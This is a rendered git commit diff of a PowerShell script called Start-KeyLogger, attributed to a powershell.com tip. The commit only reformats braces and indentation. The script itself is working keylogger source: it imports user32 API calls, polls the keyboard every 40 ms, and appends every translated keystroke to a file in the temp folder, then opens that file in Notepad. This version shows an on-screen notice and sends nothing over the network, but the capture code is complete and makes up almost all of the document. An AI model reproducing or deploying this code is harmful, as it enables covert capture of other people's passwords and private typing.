1
- # requires -Version 2
2
- function Start-KeyLogger ($Path = " $env: temp \keylogger.txt" )
3
- {
4
- <#
1
+ # requires -Version 2
2
+ function Start-KeyLogger ($Path = " $env: temp \keylogger.txt" ) {
3
+ <#
5
4
. DESCRIPTION
6
5
By accessing the Windows low-level API functions, a script can constantly
7
6
monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
@@ -12,8 +11,8 @@ function Start-KeyLogger($Path = "$env:temp\keylogger.txt")
12
11
. NOTES
13
12
http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx
14
13
#>
15
- # Signatures for API Calls
16
- $signatures = @'
14
+ # Signatures for API Calls
15
+ $signatures = @'
17
16
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
18
17
public static extern short GetAsyncKeyState(int virtualKeyCode);
19
18
[DllImport("user32.dll", CharSet=CharSet.Auto)]
@@ -24,60 +23,54 @@ public static extern int MapVirtualKey(uint uCode, int uMapType);
24
23
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
25
24
'@
26
25
27
- # load signatures and make members available
28
- $API = Add-Type - MemberDefinition $signatures - Name ' Win32' - Namespace API - PassThru
26
+ # load signatures and make members available
27
+ $API = Add-Type - MemberDefinition $signatures - Name ' Win32' - Namespace API - PassThru
29
28
30
- # create output file
31
- $null = New-Item - Path $Path - ItemType File - Force
29
+ # create output file
30
+ $null = New-Item - Path $Path - ItemType File - Force
32
31
33
- try
34
- {
35
- Write-Host ' Recording key presses. Press CTRL+C to see results.' - ForegroundColor Red
32
+ try {
33
+ Write-Host ' Recording key presses. Press CTRL+C to see results.' - ForegroundColor Red
36
34
37
- # create endless loop. When user presses CTRL+C, finally-block
38
- # executes and shows the collected key presses
39
- while ($true )
40
- {
41
- Start-Sleep - Milliseconds 40
35
+ # create endless loop. When user presses CTRL+C, finally-block
36
+ # executes and shows the collected key presses
37
+ while ($true ) {
38
+ Start-Sleep - Milliseconds 40
42
39
43
- # scan all ASCII codes above 8
44
- for ($ascii = 9 ; $ascii -le 254 ; $ascii ++ )
45
- {
46
- # get current key state
47
- $state = $API ::GetAsyncKeyState($ascii )
40
+ # scan all ASCII codes above 8
41
+ for ($ascii = 9 ; $ascii -le 254 ; $ascii ++ ) {
42
+ # get current key state
43
+ $state = $API ::GetAsyncKeyState($ascii )
48
44
49
- # is key pressed?
50
- if ($state -eq -32767 )
51
- {
52
- $null = [console ]::CapsLock
45
+ # is key pressed?
46
+ if ($state -eq -32767 ) {
47
+ $null = [console ]::CapsLock
53
48
54
- # translate scan code to real code
55
- $virtualKey = $API ::MapVirtualKey($ascii , 3 )
49
+ # translate scan code to real code
50
+ $virtualKey = $API ::MapVirtualKey($ascii , 3 )
56
51
57
- # get keyboard state for virtual keys
58
- $kbstate = New-Object Byte[] 256
59
- $checkkbstate = $API ::GetKeyboardState($kbstate )
52
+ # get keyboard state for virtual keys
53
+ $kbstate = New-Object Byte[] 256
54
+ $checkkbstate = $API ::GetKeyboardState($kbstate )
60
55
61
- # prepare a StringBuilder to receive input key
62
- $mychar = New-Object - TypeName System.Text.StringBuilder
56
+ # prepare a StringBuilder to receive input key
57
+ $mychar = New-Object - TypeName System.Text.StringBuilder
63
58
64
- # translate virtual key
65
- $success = $API ::ToUnicode($ascii , $virtualKey , $kbstate , $mychar , $mychar.Capacity , 0 )
59
+ # translate virtual key
60
+ $success = $API ::ToUnicode($ascii , $virtualKey , $kbstate , $mychar , $mychar.Capacity , 0 )
66
61
67
- if ($success )
68
- {
69
- # add key to logger file
70
- [System.IO.File ]::AppendAllText($Path , $mychar , [System.Text.Encoding ]::Unicode)
71
- }
72
- }
73
- }
74
- }
75
- }
76
- finally
77
- {
78
- # open logger file in Notepad
79
- notepad $Path
80
- }
62
+ if ($success ) {
63
+ # add key to logger file
64
+ [System.IO.File ]::AppendAllText($Path , $mychar , [System.Text.Encoding ]::Unicode)
65
+ }
66
+ }
67
+ }
68
+ }
69
+ }
70
+ finally {
71
+ # open logger file in Notepad
72
+ notepad $Path
73
+ }
81
74
}
82
75
83
76
# records all key presses until script is aborted by pressing CTRL+C
0 commit comments